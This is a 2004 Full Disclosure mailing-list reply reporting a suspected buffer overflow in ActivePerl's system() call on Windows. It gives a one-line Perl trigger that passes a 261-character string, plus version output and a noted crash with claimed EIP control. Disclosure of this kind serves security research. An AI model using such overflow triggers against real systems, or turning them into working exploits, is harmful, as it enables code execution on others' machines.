Full Disclosure mailing list archives

Re: Re: Buffer Overflow in ActivePerl ?


From: "morning_wood" <se_cur_ity () hotmail com>
Date: Tue, 18 May 2004 10:15:48 -0700

and we seem to get control of EIP.  Coincidence?  Try yet two more:
C:\>perl -e "$a="A" x 261; system($a)"


C:\>perl -V

Characteristics of this binary (from libperl):
  Compile-time options: MULTIPLICITY USE_ITHREADS PERL_IMPLICIT_
LICIT_SYS
  Locally applied patches:
        ActivePerl Build 635
  Built under MSWin32
  Compiled at Feb  4 2003 15:34:21
  @INC:
    C:/Perl/lib
    C:/Perl/site/lib
    .
C:\>

C:\>perl -e "$a="A" x 261; system($a)"
The input line is too long.

[CRASHE HERE]

C:\>


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


Current thread: